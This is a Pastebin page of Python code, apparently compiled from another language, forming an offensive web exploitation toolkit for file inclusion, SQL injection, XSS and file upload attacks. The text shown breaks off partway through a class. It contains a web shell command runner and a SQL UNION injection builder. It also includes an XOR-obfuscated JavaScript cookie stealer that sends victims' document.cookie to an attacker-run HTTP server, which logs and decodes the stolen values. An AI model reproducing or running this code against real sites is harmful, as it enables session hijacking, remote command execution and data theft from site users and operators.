API tools faq
paste
Advertisement
AZZATSSINS_CYBERSERK

LFI / SQLI / XSS / AFU

AZZATSSINS_CYBERSERK
Jul 1st, 2016
361
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 61.62 KB | None | 0 0
raw download clone embed print report
  1. ################################################################
  2. # python file.py [exploitation strategy] [url] [inputs]
  3. # Compiled from Aphid to Python by Boxelder 0.5.5926.31997
  4. # https://github.com/John-Leitch/Aphid/releases
  5. ################################################################
  6. def var_func_00000030(___p_op_8):
  7.     return (___p_op_8.filename)
  8.  
  9. def var_func_0000002C(___p_op_7):
  10.     return (___p_op_7 > 1)
  11.  
  12. def var_func_0000001D(___p_op_4):
  13.     return (___p_op_4 != "<")
  14.  
  15. def var_func_0000001C(___p_op_3):
  16.     return (___p_op_3 != "#")
  17.  
  18. def where(predicate, list):
  19.     x = []
  20.     for element in list:
  21.         if predicate(element):
  22.             (x.append)(element)
  23.     return x
  24.  
  25. def select(selector, list):
  26.     x = []
  27.     for y in list:
  28.         (x.append)(selector(y))
  29.     return x
  30.  
  31. def selectMany(selector, list):
  32.     x = []
  33.     for y in list:
  34.         for z in selector(y):
  35.             (x.append)(z)
  36.     return x
  37.  
  38. def flatten(list):
  39.     def var_func_00000000(x):
  40.         return x
  41.  
  42.     return selectMany(var_func_00000000, list)
  43.  
  44. def any(predicate, list):
  45.     for element in list:
  46.         if predicate(element):
  47.             return True
  48.     return False
  49.  
  50. def all(predicate, list):
  51.     for x in list:
  52.         if not predicate(x):
  53.             return False
  54.     return True
  55.  
  56. def first(predicate, list):
  57.     for x in list:
  58.         if predicate(x):
  59.             return x
  60.  
  61. def distinct(list):
  62.     x = []
  63.     for y in list:
  64.         if not (x.__contains__)(y):
  65.             (x.append)(y)
  66.     return x
  67.  
  68. def iter(action, list):
  69.     for x in list:
  70.         action(x)
  71.  
  72. count = len
  73. def concat(list, otherList):
  74.     x = []
  75.     for y in otherList:
  76.         (x.append)(y)
  77.     for y in list:
  78.         (x.append)(y)
  79.     return x
  80.  
  81. def skip(count, list):
  82.     x = []
  83.     i = 0
  84.     for y in list:
  85.         if (i >= count):
  86.             (x.append)(y)
  87.         i = (i + 1)
  88.     return x
  89.  
  90. def take(count, list):
  91.     x = []
  92.     i = 0
  93.     for y in list:
  94.         if (i < count):
  95.             (x.append)(y)
  96.         i = (i + 1)
  97.     return x
  98.  
  99. def aggr(acc, list):
  100.     if (len(list) == 1):
  101.         return list[0]
  102.     else:
  103.         s = list[0]
  104.         for x in skip(1, list):
  105.             s = acc(s, x)
  106.         return s
  107.  
  108. def join(sep, list):
  109.     def var_func_00000001(x, y):
  110.         return ((x + sep) + y)
  111.  
  112.     return aggr(var_func_00000001, list)
  113.  
  114. def addAll(list):
  115.     def var_func_00000002(x, y):
  116.         return (x + y)
  117.  
  118.     return aggr(var_func_00000002, list)
  119.  
  120. import os.path
  121. class File():
  122.     @staticmethod
  123.     def appendAllText(filename, text):
  124.         (File.writeText)(filename, text, "a")
  125.  
  126.     @staticmethod
  127.     def writeAllText(filename, text):
  128.         (File.writeText)(filename, text, "w")
  129.  
  130.     @staticmethod
  131.     def writeText(filename, text, mode):
  132.         file = open(filename, mode)
  133.         (file.write)(text)
  134.         (file.close)()
  135.  
  136.     @staticmethod
  137.     def readAllText(filename):
  138.         file = open(filename, "r")
  139.         r = (file.read)()
  140.         (file.close)()
  141.         return r
  142.  
  143.     @staticmethod
  144.     def exists(filename):
  145.         return ((os.path).isfile)(filename)
  146.  
  147.  
  148. class CharRange():
  149.     @staticmethod
  150.     def __alpha(start):
  151.         def var_func_00000003(___p_op_0):
  152.             return (___p_op_0 + 26)
  153.  
  154.         return (lambda var_00000000:select(chr, var_00000000))(range(ord(start), var_func_00000003(ord(start))))
  155.  
  156.     @staticmethod
  157.     def alphaLower():
  158.         return (CharRange.__alpha)("a")
  159.  
  160.     @staticmethod
  161.     def alphaUpper():
  162.         return (CharRange.__alpha)("A")
  163.  
  164.     @staticmethod
  165.     def alpha():
  166.         return (lambda var_00000001:concat((CharRange.alphaUpper)(), var_00000001))((CharRange.alphaLower)())
  167.  
  168.  
  169. import json
  170. class JsonRepository():
  171.     repo = None
  172.     def __init__(self, filename):
  173.         (self.filename) = filename
  174.         if (self.exists)():
  175.             (self.read)()
  176.         else:
  177.             (self.repo) = dict()
  178.  
  179.     def exists(self):
  180.         return (File.exists)((self.filename))
  181.  
  182.     def read(self):
  183.         (self.repo) = (json.loads)((File.readAllText)((self.filename)))
  184.         if not isinstance((self.repo), dict):
  185.             (self.repo) = dict()
  186.  
  187.     def write(self):
  188.         (lambda var_00000002:(File.writeAllText)((self.filename), var_00000002))((json.dumps)((self.repo)))
  189.  
  190.     def add(self, key, obj):
  191.         (self.repo)[key] = obj
  192.         (self.write)()
  193.  
  194.     def __getitem__(self, key):
  195.         return ((self.repo).get)(key)
  196.  
  197.     def __setitem__(self, key, value):
  198.         (self.repo)[key] = value
  199.  
  200.  
  201. class ExploitComponent():
  202.     def log(self, message):
  203.         print(message)
  204.  
  205.  
  206. import string
  207. class HttpRequestTemplate():
  208.     encode = True
  209.     def __init__(self, url, query = None, post = None, file = None):
  210.         (self.url) = url
  211.         (self.query) = query
  212.         (self.post) = post
  213.         (self.file) = file
  214.  
  215.     def getUrl(self, values):
  216.         s = ((((string.Template)((self.url)).substitute)(values)) if ((((self.url) != None) and (values != None))) else ((((self.url)) if (((self.url) != None)) else (""))))
  217.         return ((((s + "?") + (self.getQuery)(values))) if ((self.hasQuery)()) else (s))
  218.  
  219.     def hasQuery(self):
  220.         return (((self.query) != None) and (len((self.query)) != 0))
  221.  
  222.     def getQuery(self, values):
  223.         return (self.__getData)((self.query), values)
  224.  
  225.     def getPost(self, values):
  226.         return (self.__getData)((self.post), values)
  227.  
  228.     def getFile(self, values):
  229.         def var_func_00000004(x):
  230.             return HttpFile(((((string.Template)((x.name)).substitute)(values)) if ((((x.name) != None) and (values != None))) else ((((x.name)) if (((x.name) != None)) else ("")))), ((((string.Template)((x.filename)).substitute)(values)) if ((((x.filename) != None) and (values != None))) else ((((x.filename)) if (((x.filename) != None)) else ("")))), ((((string.Template)((x.data)).substitute)(values)) if ((((x.data) != None) and (values != None))) else ((((x.data)) if (((x.data) != None)) else ("")))), ((((string.Template)((x.type)).substitute)(values)) if ((((x.type) != None) and (values != None))) else ((((x.type)) if (((x.type) != None)) else ("")))))
  231.  
  232.         return ((None) if (((self.file) == None)) else ((lambda var_00000003:select(var_func_00000004, var_00000003))((self.file))))
  233.  
  234.     def __getData(self, data, values):
  235.         if (data == None):
  236.             return None
  237.         result = dict()
  238.         for k in data:
  239.             result[((((string.Template)(k).substitute)(values)) if (((k != None) and (values != None))) else (((k) if ((k != None)) else (""))))] = ((((string.Template)(data[k]).substitute)(values)) if (((data[k] != None) and (values != None))) else (((data[k]) if ((data[k] != None)) else (""))))
  240.         return (((urllib.urlencode)(result)) if ((self.encode)) else (result))
  241.  
  242.  
  243. class HttpFile():
  244.     def __init__(self, name, filename, data, type = "text/plain"):
  245.         (self.name) = name
  246.         (self.filename) = filename
  247.         (self.data) = data
  248.         (self.type) = type
  249.  
  250.  
  251. import urllib2
  252. from urllib import addinfourl
  253. from urllib2 import HTTPRedirectHandler
  254. class RedirectHandler(HTTPRedirectHandler):
  255.     def http_error_302(self, req, fp, code, msg, headers):
  256.         x = addinfourl(fp, headers, (req.get_full_url)())
  257.         (x.status) = code
  258.         (x.code) = code
  259.         return x
  260.  
  261.     http_error_300 = http_error_302
  262.     http_error_301 = http_error_302
  263.     http_error_303 = http_error_302
  264.     http_error_307 = http_error_302
  265.  
  266. (urllib2.install_opener)((urllib2.build_opener)(RedirectHandler()))
  267. from random import choice
  268. class MultipartFormData():
  269.     dispositionPrefix = "Content-Disposition: form-data; "
  270.     typePrefix = "Content-Type: "
  271.     multiPartPrefix = "multipart/form-data; boundary="
  272.     def __init__(self):
  273.         (self.boundary) = (self.createBoundary)()
  274.         (self.data) = ""
  275.  
  276.     def createBoundary(self):
  277.         def var_func_00000005(x):
  278.             return choice((CharRange.alpha)())
  279.  
  280.         return (lambda var_00000004:join("", var_00000004))((lambda var_00000005:select(var_func_00000005, var_00000005))(range(0, 64)))
  281.  
  282.     def getBoundary(self, final = False):
  283.         return ((("--" + (self.boundary)) + (("--") if (final) else (""))) + "\r\n")
  284.  
  285.     def addBoundary(self, final = False):
  286.         (self.data) += (self.getBoundary)(final)
  287.  
  288.     def addDisposition(self, name, filename = None):
  289.         (self.data) += (((self.dispositionPrefix) + ((("name=\"{}\"".format)(name)) if ((filename == None)) else (("name=\"{}\"; filename=\"{}\"".format)(name, filename)))) + "\r\n")
  290.  
  291.     def addType(self, type):
  292.         (self.data) += (((self.typePrefix) + type) + "\r\n")
  293.  
  294.     def addLine(self, value = None):
  295.         (self.data) += (((value) if ((value != None)) else ("")) + "\r\n")
  296.  
  297.     def addData(self, name, data):
  298.         (self.addBoundary)()
  299.         (self.addDisposition)(name)
  300.         (self.addLine)()
  301.         (self.addLine)(data)
  302.  
  303.     def addFileData(self, name, filename, type, data):
  304.         (self.addBoundary)()
  305.         (self.addDisposition)(name, filename)
  306.         (self.addType)(type)
  307.         (self.addLine)()
  308.         (self.addLine)(data)
  309.  
  310.     def getContentType(self):
  311.         return ((self.multiPartPrefix) + (self.boundary))
  312.  
  313.     def __str__(self):
  314.         return ((self.data) + (self.getBoundary)(final = True))
  315.  
  316.  
  317. from urlparse import parse_qs
  318. class Http(ExploitComponent):
  319.     contentType = "Content-Type"
  320.     contentLength = "Content-Length"
  321.     dataName = "name"
  322.     dataFilename = "filename"
  323.     dataType = "type"
  324.     data = "data"
  325.     @staticmethod
  326.     def request(url, postData = None, fileData = None):
  327.         print(("[?] %s" % url))
  328.         if (postData != None):
  329.             print(("    " + str(postData)))
  330.         def var_func_00000006(x):
  331.             return ("{{ {}, {}, {} }}".format)((x.name), (x.filename), (x.type))
  332.  
  333.         if (fileData != None):
  334.             tup = (lambda var_00000006:join(", ", var_00000006))((lambda var_00000007:select(var_func_00000006, var_00000007))(fileData))
  335.             print(("    " + tup))
  336.         if (fileData == None):
  337.             return ((urllib2.urlopen)(url, postData).read)()
  338.         else:
  339.             formData = (Http.createFormData)(postData, fileData)
  340.             body = str(formData)
  341.             req = (urllib2.Request)(url)
  342.             (req.add_header)((Http.contentType), (formData.getContentType)())
  343.             (req.add_header)((Http.contentLength), str(len(body)))
  344.             (req.add_data)(body)
  345.             return ((urllib2.urlopen)(req).read)()
  346.  
  347.     @staticmethod
  348.     def createFormData(postData = None, fileData = None):
  349.         formData = MultipartFormData()
  350.         if (postData != None):
  351.             postValues = parse_qs(postData)
  352.             for k in (postValues.keys)():
  353.                 for v in postValues[k]:
  354.                     (formData.addData)(k, v)
  355.         if (fileData != None):
  356.             for f in fileData:
  357.                 (formData.addFileData)((f.name), (f.filename), (f.type), (f.data))
  358.         return formData
  359.  
  360.  
  361. class Payload():
  362.     def __init__(self, value):
  363.         (self.value) = value
  364.  
  365.     def inject(self, target):
  366.         return (((target % (self.value))) if ((target.__contains__)("%s")) else (target))
  367.  
  368.     def injectData(self, target):
  369.         if (target == None):
  370.             return None
  371.         data = dict()
  372.         for k in target:
  373.             v = target[k]
  374.             data[(self.inject)(k)] = (self.inject)(v)
  375.         return data
  376.  
  377.  
  378. class Injection():
  379.     def __init__(self, begin, end, nextExpression):
  380.         (self.begin) = begin
  381.         (self.end) = end
  382.         (self.nextExpression) = nextExpression
  383.  
  384.     def __str__(self):
  385.         return (((self.begin) + (self.nextExpression)()) + (self.end))
  386.  
  387.  
  388. from random import randint
  389. class Shell(ExploitComponent):
  390.     def __init__(self, createUrl, createPost = None):
  391.         (self.createUrl) = createUrl
  392.         (self.createPost) = createPost
  393.  
  394.     def run(self, cmd):
  395.         u = (self.createUrl)(cmd)
  396.         p = (((self.createPost)(cmd)) if (((self.createPost) != None)) else (None))
  397.         resp = (Http.request)(u, p)
  398.         return resp
  399.  
  400.     @staticmethod
  401.     def get(url):
  402.         def var_func_00000007(cmd):
  403.             return ((url + "?") + (urllib.urlencode)({"cmd": cmd}))
  404.  
  405.         return Shell(var_func_00000007)
  406.  
  407.     @staticmethod
  408.     def post(url):
  409.         def var_func_00000008(cmd):
  410.             return url
  411.  
  412.         def var_func_00000009(cmd):
  413.             return (urllib.urlencode)({"cmd": cmd})
  414.  
  415.         return Shell(var_func_00000008, var_func_00000009)
  416.  
  417.     @staticmethod
  418.     def open(url):
  419.         print("[i] Detecting shell input")
  420.         probe = str(randint(268435456, 4294967295))
  421.         probeCmd = ("echo %s" % probe)
  422.         for f in [(Shell.post), (Shell.get)]:
  423.             shell = f(url)
  424.             result = (shell.run)(probeCmd)
  425.             if (result.__contains__)(probe):
  426.                 print("[+] Shell input found")
  427.                 return shell
  428.         print("[x] Could not find shell input")
  429.         return None
  430.  
  431.  
  432. class ExploitEncoding():
  433.     key = [60, 159, 224, 114, 159, 230, 216, 94, 23, 190, 168, 12, 209, 198, 188, 191, 168, 255, 194, 242, 72, 124, 255, 231, 185, 153, 101, 80, 37, 111, 29, 106, 235, 199, 163, 78, 229, 209, 45, 102, 0, 23, 6, 208, 65, 8, 227, 181, 197, 44, 228, 1, 121, 189, 83, 192, 159, 248, 184, 5, 129, 136, 57, 167, 160, 62, 33, 9, 35, 109, 218, 214, 210, 92, 242, 49, 117, 47, 166, 177, 182, 175, 139, 248, 139, 27, 241, 46, 116, 226, 175, 237, 25, 39, 228, 120, 222, 94, 48, 3, 231, 217, 146, 88, 82, 13, 46, 28, 202, 34, 74, 112, 82, 7, 78, 209, 252, 64, 28, 132, 77, 242, 149, 64, 189, 236, 189, 170, 119, 122, 83, 23, 255, 162, 201, 221, 29, 51, 165, 125, 237, 212, 100, 81, 151, 63, 155, 17, 216, 19, 123, 157, 66, 171, 182, 245, 67, 81, 154, 102, 79, 131, 165, 80, 207, 51, 113, 175, 62, 113, 180, 201, 154, 158, 151, 120, 142, 67, 168, 126, 81, 172, 210, 100, 254, 181, 213, 83, 236, 212, 153, 203, 152, 63, 46, 105, 46, 19, 130, 100, 206, 235, 211, 103, 94, 178, 2, 163, 19, 61, 103, 0, 169, 28, 20, 163, 177, 65, 82, 25, 94, 29, 195, 105, 216, 233, 48, 91, 112, 45, 73, 122, 192, 68, 175, 101, 217, 106, 5, 76, 179, 49, 64, 174, 109, 153, 33, 124, 43, 138, 183, 237, 193, 105, 5, 177, 39, 105, 143, 116, 130, 167, 51, 229, 244, 236, 63, 100, 109, 174, 202, 71, 59, 5, 101, 44, 220, 21, 252, 63, 199, 180, 48, 229, 117, 92, 185, 87, 62, 254, 61, 111, 219, 144, 201, 12, 254, 90, 185, 128, 89, 189, 15, 124, 192, 112, 177, 187, 3, 216, 212, 18, 108, 80, 173, 206, 119, 77, 111, 151, 50, 231, 37, 110, 113, 90, 107, 170, 60, 89, 46, 130, 91, 123, 229, 10, 164, 180, 37, 5, 170, 253, 84, 102, 41, 43, 3, 138, 227, 251, 148, 177, 234, 34, 77, 114, 151, 160, 10, 102, 4, 7, 127, 169, 170, 82, 182, 240, 106, 162, 41, 195, 40, 106, 237, 53, 147, 191, 69, 69, 87, 224, 199, 64, 197, 125, 151, 57, 45, 115, 114, 4, 169, 191, 0, 163, 126, 170, 188, 215, 116, 18, 32, 64, 210, 209, 136, 128, 52, 24, 222, 216, 91, 196, 14, 35, 64, 62, 228, 44, 187, 125, 194, 247, 48, 36, 25, 105, 106, 73, 182, 233, 3, 109, 209, 68, 192, 134, 110, 243, 244, 22, 4, 21, 148, 154, 169, 228, 176, 220, 99, 63, 197, 143, 28, 246, 79, 40, 16, 173, 183, 31, 22, 235, 98, 245, 212, 237, 243, 202, 99, 185, 208, 241, 56, 164, 121, 173, 98, 149, 123, 53, 184, 141, 230, 119, 35, 115, 81, 218, 244, 152, 117, 193, 59, 212, 0, 25, 178, 159, 197, 187, 240, 230, 121, 169, 111, 212, 86, 119, 125, 161]
  434.     @staticmethod
  435.     def decode(value):
  436.         i = 0
  437.         decoded = ""
  438.         for x in value:
  439.             decoded += chr((ord(x) ^ (ExploitEncoding.key)[i]))
  440.             i = (i + 1)
  441.             if (i == len((ExploitEncoding.key))):
  442.                 i = 0
  443.         return decoded
  444.  
  445.  
  446. from urlparse import urlparse, parse_qs
  447. from BaseHTTPServer import BaseHTTPRequestHandler
  448. class ExploitRequestHandler(BaseHTTPRequestHandler):
  449.     def do_GET(self):
  450.         uri = urlparse((self.path))
  451.         rsrc = (self.getFile)((uri.path))
  452.         query = parse_qs((uri.query))
  453.         print(("[i] Path: %s" % (self.path)))
  454.         print(("[i] Resource: %s" % rsrc))
  455.         print(("[i] Referer: %s" % (self.getReferer)()))
  456.         print(("[i] IP: {}:{}".format)((self.getIP)(), (self.getPort)()))
  457.         hasContent = ((rsrc != None) and (rsrc != ""))
  458.         if ((query != None) and (query != "")):
  459.             (self.handleQuery)()
  460.         else:
  461.             if hasContent:
  462.                 (self.handleResource)()
  463.         code = ((200) if ((((uri.query) != "") or hasContent)) else (404))
  464.         (self.send_response)(code)
  465.         (self.send_header)("Access-Control-Allow-Origin", "*")
  466.         (self.end_headers)()
  467.         if hasContent:
  468.             ((self.wfile).write)(rsrc)
  469.         print("")
  470.  
  471.     def log_message(self, a = None, b = None, c = None, d = None, e = None, f = None, g = None, h = None, i = None, j = None, k = None, l = None, m = None, n = None, o = None, p = None):
  472.         0
  473.  
  474.     def handleQuery(self):
  475.         print(("[i] Message: %s" % (self.getMsg)()))
  476.  
  477.     def handleResource(self, rsrc):
  478.         (self.send_header)("Content-type", "text/javascript")
  479.  
  480.     def getIP(self):
  481.         return (self.client_address)[0]
  482.  
  483.     def getPort(self):
  484.         return (self.client_address)[1]
  485.  
  486.     def getUrl(self):
  487.         return urlparse((self.path))
  488.  
  489.     def getQuery(self):
  490.         return parse_qs(((self.getUrl)().query))
  491.  
  492.     def getMsg(self):
  493.         q = (self.getQuery)()
  494.         keys = (q.keys)()
  495.         return (((ExploitEncoding.decode)(q[keys[0]][0])) if ((len(keys) != 0)) else (None))
  496.  
  497.     def getReferer(self):
  498.         def var_func_0000000A(r):
  499.             return ((r[0]) if ((len(r) != 0)) else (None))
  500.  
  501.         return var_func_0000000A(((self.headers).getheaders)("referer"))
  502.  
  503.     def getFile(self, path):
  504.         if (len(path) == 0):
  505.             return None
  506.         name = path[1:]
  507.         text = (((self.server).payloads).get)(name)
  508.         return text
  509.  
  510.  
  511. class ExploitResource():
  512.     @staticmethod
  513.     def getScriptTag(host, port, name):
  514.         return ("<script src=\"http://{}{}/{}\" type=\"text/javascript\"></script>".format)(host, (((":" + str(port))) if (((port != None) and (port != ""))) else ("")), name)
  515.  
  516.     @staticmethod
  517.     def getJsCookieStealer(host, port):
  518.         return (("\r\n        // Todo: generate key and store in repo\r\n        var key = [0x3C,0x9F,0xE0,0x72,0x9F,0xE6,0xD8,0x5E,0x17,0xBE,0xA8,0x0C,0xD1,0xC6,0xBC,0xBF,0xA8,0xFF,0xC2,0xF2,0x48,0x7C,0xFF,0xE7,0xB9,0x99,0x65,0x50,0x25,0x6F,0x1D,0x6A,0xEB,0xC7,0xA3,0x4E,0xE5,0xD1,0x2D,0x66,0x00,0x17,0x06,0xD0,0x41,0x08,0xE3,0xB5,0xC5,0x2C,0xE4,0x01,0x79,0xBD,0x53,0xC0,0x9F,0xF8,0xB8,0x05,0x81,0x88,0x39,0xA7,0xA0,0x3E,0x21,0x09,0x23,0x6D,0xDA,0xD6,0xD2,0x5C,0xF2,0x31,0x75,0x2F,0xA6,0xB1,0xB6,0xAF,0x8B,0xF8,0x8B,0x1B,0xF1,0x2E,0x74,0xE2,0xAF,0xED,0x19,0x27,0xE4,0x78,0xDE,0x5E,0x30,0x03,0xE7,0xD9,0x92,0x58,0x52,0x0D,0x2E,0x1C,0xCA,0x22,0x4A,0x70,0x52,0x07,0x4E,0xD1,0xFC,0x40,0x1C,0x84,0x4D,0xF2,0x95,0x40,0xBD,0xEC,0xBD,0xAA,0x77,0x7A,0x53,0x17,0xFF,0xA2,0xC9,0xDD,0x1D,0x33,0xA5,0x7D,0xED,0xD4,0x64,0x51,0x97,0x3F,0x9B,0x11,0xD8,0x13,0x7B,0x9D,0x42,0xAB,0xB6,0xF5,0x43,0x51,0x9A,0x66,0x4F,0x83,0xA5,0x50,0xCF,0x33,0x71,0xAF,0x3E,0x71,0xB4,0xC9,0x9A,0x9E,0x97,0x78,0x8E,0x43,0xA8,0x7E,0x51,0xAC,0xD2,0x64,0xFE,0xB5,0xD5,0x53,0xEC,0xD4,0x99,0xCB,0x98,0x3F,0x2E,0x69,0x2E,0x13,0x82,0x64,0xCE,0xEB,0xD3,0x67,0x5E,0xB2,0x02,0xA3,0x13,0x3D,0x67,0x00,0xA9,0x1C,0x14,0xA3,0xB1,0x41,0x52,0x19,0x5E,0x1D,0xC3,0x69,0xD8,0xE9,0x30,0x5B,0x70,0x2D,0x49,0x7A,0xC0,0x44,0xAF,0x65,0xD9,0x6A,0x05,0x4C,0xB3,0x31,0x40,0xAE,0x6D,0x99,0x21,0x7C,0x2B,0x8A,0xB7,0xED,0xC1,0x69,0x05,0xB1,0x27,0x69,0x8F,0x74,0x82,0xA7,0x33,0xE5,0xF4,0xEC,0x3F,0x64,0x6D,0xAE,0xCA,0x47,0x3B,0x05,0x65,0x2C,0xDC,0x15,0xFC,0x3F,0xC7,0xB4,0x30,0xE5,0x75,0x5C,0xB9,0x57,0x3E,0xFE,0x3D,0x6F,0xDB,0x90,0xC9,0x0C,0xFE,0x5A,0xB9,0x80,0x59,0xBD,0x0F,0x7C,0xC0,0x70,0xB1,0xBB,0x03,0xD8,0xD4,0x12,0x6C,0x50,0xAD,0xCE,0x77,0x4D,0x6F,0x97,0x32,0xE7,0x25,0x6E,0x71,0x5A,0x6B,0xAA,0x3C,0x59,0x2E,0x82,0x5B,0x7B,0xE5,0x0A,0xA4,0xB4,0x25,0x05,0xAA,0xFD,0x54,0x66,0x29,0x2B,0x03,0x8A,0xE3,0xFB,0x94,0xB1,0xEA,0x22,0x4D,0x72,0x97,0xA0,0x0A,0x66,0x04,0x07,0x7F,0xA9,0xAA,0x52,0xB6,0xF0,0x6A,0xA2,0x29,0xC3,0x28,0x6A,0xED,0x35,0x93,0xBF,0x45,0x45,0x57,0xE0,0xC7,0x40,0xC5,0x7D,0x97,0x39,0x2D,0x73,0x72,0x04,0xA9,0xBF,0x00,0xA3,0x7E,0xAA,0xBC,0xD7,0x74,0x12,0x20,0x40,0xD2,0xD1,0x88,0x80,0x34,0x18,0xDE,0xD8,0x5B,0xC4,0x0E,0x23,0x40,0x3E,0xE4,0x2C,0xBB,0x7D,0xC2,0xF7,0x30,0x24,0x19,0x69,0x6A,0x49,0xB6,0xE9,0x03,0x6D,0xD1,0x44,0xC0,0x86,0x6E,0xF3,0xF4,0x16,0x04,0x15,0x94,0x9A,0xA9,0xE4,0xB0,0xDC,0x63,0x3F,0xC5,0x8F,0x1C,0xF6,0x4F,0x28,0x10,0xAD,0xB7,0x1F,0x16,0xEB,0x62,0xF5,0xD4,0xED,0xF3,0xCA,0x63,0xB9,0xD0,0xF1,0x38,0xA4,0x79,0xAD,0x62,0x95,0x7B,0x35,0xB8,0x8D,0xE6,0x77,0x23,0x73,0x51,0xDA,0xF4,0x98,0x75,0xC1,0x3B,0xD4,0x00,0x19,0xB2,0x9F,0xC5,0xBB,0xF0,0xE6,0x79,0xA9,0x6F,0xD4,0x56,0x77,0x7D,0xA1];\r\n        \r\n        var alphaNum = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\r\n        var nextInt = function(max) { return Math.floor(Math.random() * max); };\r\n        var nextChar = function() { return alphaNum[nextInt(alphaNum.length)]; };\r\n        \r\n        var nextName = function() {\r\n            var len = nextInt(0x10);\r\n            var name = \"\";\r\n            for (var i = 0; i < len; i++) name += nextChar();\r\n            \r\n            return name;\r\n        };\r\n        \r\n        var applyKey = function(value, key, apply) {\r\n            var keyIndex = 0;\r\n            var applied = \"\";\r\n            \r\n            for (var i = 0; i < value.length; i++) {\r\n                applied += apply(value.charCodeAt(i), key[keyIndex]);\r\n                if (++keyIndex == key.length) keyIndex = 0;\r\n            }\r\n            \r\n            return applied;\r\n        };\r\n        \r\n        var encode = function(value, key) {\r\n            return applyKey(value, key, function(v, k) {\r\n                return String.fromCharCode(v ^ k);\r\n            });            \r\n        };\r\n    \r\n        var xhr = window.XMLHttpRequest ? \r\n            new XMLHttpRequest() : \r\n            new ActiveXObject(\"Microsoft.XMLHTTP\");\r\n            \r\n        var sendValue = function(v) {\r\n            var k = nextName();\r\n            var qs = k + \"=\" + escape(encode(v, key));\r\n            xhr.open(\"GET\", \"http://{host}:{port}/?\" + qs, true);\r\n            xhr.onreadystatechange = function (e) {\r\n                if (xhr.readyState == 4 && xhr.status != 200) {\r\n                    console.log(xhr.statusText);\r\n                }\r\n            }; \r\n            xhr.send();            \r\n        };\r\n        \r\n        try {\r\n            sendValue(\"Cookie => \" + document.cookie);\r\n        } catch (err) { alert(err); }\r\n    ".replace)("{host}", host).replace)("{port}", str(port))
  519.  
  520.  
  521. from random import randint, choice
  522. from BaseHTTPServer import HTTPServer
  523. class ExploitServerConfig():
  524.     portKey = "port"
  525.     cookieStealerKey = "cookieStealer"
  526.     alpha = (CharRange.alpha)()
  527.     serverRepo = JsonRepository("server.json")
  528.     @staticmethod
  529.     def nextPort():
  530.         return randint(49152, 65535)
  531.  
  532.     @staticmethod
  533.     def nextName():
  534.         def var_func_0000000B(x):
  535.             return choice((ExploitServerConfig.alpha))
  536.  
  537.         return (lambda var_00000008:join("", var_00000008))((lambda var_00000009:select(var_func_0000000B, var_00000009))(range(0, randint(4, 16))))
  538.  
  539.     @staticmethod
  540.     def getPort():
  541.         def var_func_0000000C():
  542.             return (ExploitServerConfig.serverRepo)[(ExploitServerConfig.portKey)]
  543.  
  544.         return (ExploitServerConfig.getValue)(var_func_0000000C)
  545.  
  546.     @staticmethod
  547.     def getCookieStealer():
  548.         def var_func_0000000D():
  549.             return (ExploitServerConfig.serverRepo)[(ExploitServerConfig.cookieStealerKey)]
  550.  
  551.         return (ExploitServerConfig.getValue)(var_func_0000000D)
  552.  
  553.     @staticmethod
  554.     def getValue(f):
  555.         (ExploitServerConfig.ensure)()
  556.         return f()
  557.  
  558.     @staticmethod
  559.     def ensure():
  560.         if ((ExploitServerConfig.serverRepo)[(ExploitServerConfig.portKey)] == None):
  561.             (ExploitServerConfig.generate)()
  562.  
  563.     @staticmethod
  564.     def generate():
  565.         (ExploitServerConfig.serverRepo)[(ExploitServerConfig.portKey)] = (ExploitServerConfig.nextPort)()
  566.         (ExploitServerConfig.serverRepo)[(ExploitServerConfig.cookieStealerKey)] = (ExploitServerConfig.nextName)()
  567.         ((ExploitServerConfig.serverRepo).write)()
  568.  
  569.  
  570. class XssExploit():
  571.     def __init__(self, server, tmpl):
  572.         (self.server) = server
  573.         (self.tmpl) = tmpl
  574.  
  575.     def __str__(self):
  576.         if (((tmpl.post) != None) and (len((tmpl.post)) > 0)):
  577.             print("[X] POST XSS not yet supported")
  578.             quit()
  579.         return (tmpl.getUrl)({"xss": ((self.server).scriptTag)})
  580.  
  581.  
  582. class ExploitServer(ExploitComponent):
  583.     port = (ExploitServerConfig.getPort)()
  584.     cookieStealer = (ExploitServerConfig.getCookieStealer)()
  585.     def __init__(self, ip):
  586.         (self.ip) = ip
  587.         endpoint = (self.ip), (self.port)
  588.         (self.server) = HTTPServer(endpoint, ExploitRequestHandler)
  589.         ((self.server).payloads) = dict()
  590.         ((self.server).payloads)[(self.cookieStealer)] = (ExploitResource.getJsCookieStealer)((self.ip), (self.port))
  591.         (self.scriptTag) = (ExploitResource.getScriptTag)((self.ip), (self.port), (self.cookieStealer))
  592.  
  593.     def createExploit(self, tmpl):
  594.         return str(XssExploit(self, tmpl))
  595.  
  596.     def serveForever(self):
  597.         (self.log)(("[?] Listening on {}:{}".format)((self.ip), (self.port)))
  598.         ((self.server).serve_forever)()
  599.  
  600.  
  601. class SqlEmitter():
  602.     alpha = (CharRange.alpha)()
  603.     def getChars(self):
  604.         def var_func_0000000E(___p_op_1):
  605.             return (___p_op_1 != (self.quote)())
  606.  
  607.         return (lambda var_0000000A:select(chr, var_0000000A))((lambda var_0000000B:where(var_func_0000000E, var_0000000B))(range(32, 128)))
  608.  
  609.     def tup(self, vals):
  610.         def var_func_0000000F(x, y):
  611.             return (((x + ",") + (self.space)()) + y)
  612.  
  613.         return (lambda var_0000000C:aggr(var_func_0000000F, var_0000000C))(vals)
  614.  
  615.     def words(self, words):
  616.         def var_func_00000010(x, y):
  617.             return ((x + (self.space)()) + y)
  618.  
  619.         return (lambda var_0000000D:aggr(var_func_00000010, var_0000000D))(words)
  620.  
  621.     def space(self):
  622.         return " "
  623.  
  624.     def quote(self):
  625.         return "'"
  626.  
  627.     def junkCharRange(self):
  628.         def var_func_00000011(x):
  629.             return choice((self.alpha))
  630.  
  631.         return (lambda var_0000000E:join("", var_0000000E))((lambda var_0000000F:select(var_func_00000011, var_0000000F))((lambda var_00000010:range(0, var_00000010))(randint(8, 32))))
  632.  
  633.     def junkString(self):
  634.         return ("{1}{0}{1}".format)((self.junkCharRange)(), (self.quote)())
  635.  
  636.     def unionAll(self, cols):
  637.         return (self.words)(["UNION", "SELECT", "ALL", (self.tup)(cols)])
  638.  
  639.     def comment(self):
  640.         return "#"
  641.  
  642.  
  643. class SqlUnionOutputInfo():
  644.     def __init__(self, begin, end, columnCount, columnNumber):
  645.         (self.begin) = begin
  646.         (self.end) = end
  647.         (self.columnCount) = columnCount
